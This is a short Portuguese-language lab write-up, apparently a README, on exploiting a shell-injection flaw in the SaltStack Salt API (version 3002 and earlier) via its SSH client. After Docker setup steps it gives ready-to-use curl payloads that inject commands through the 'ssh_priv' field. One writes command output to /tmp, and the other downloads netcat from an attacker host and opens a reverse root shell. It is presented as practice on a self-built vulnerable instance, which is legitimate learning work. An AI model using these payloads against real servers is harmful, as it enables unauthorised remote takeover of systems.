
Vulnerabilidade explicada: Um problema foi descoberto no SaltStack Salt até a versão 3002. O envio de requisições web especialmente elaboradas para a API do Salt, com o cliente SSH habilitado, pode resultar em injeção de shell. Os detalhes sobre esta vulnerabilidade podem ser encontrados aqui:
Para fins de prática e aprendizado, decidi criar uma instância vulnerável e explorá-la.
Versão vulnerável: https://github.com/saltstack/salt/releases/tag/v3002
Testado no Ubuntu 20.04.03
Use o Dockerfile para criar uma instância vulnerável no Docker.
Execute o salt_setup.sh se quiser criar uma instância vulnerável em uma VM Ubuntu.
docker build -t salt-image .
Execute o container e exponha as portas (apenas a 8080 é realmente necessária para conseguir explorá-lo)
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

Shell reverso
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
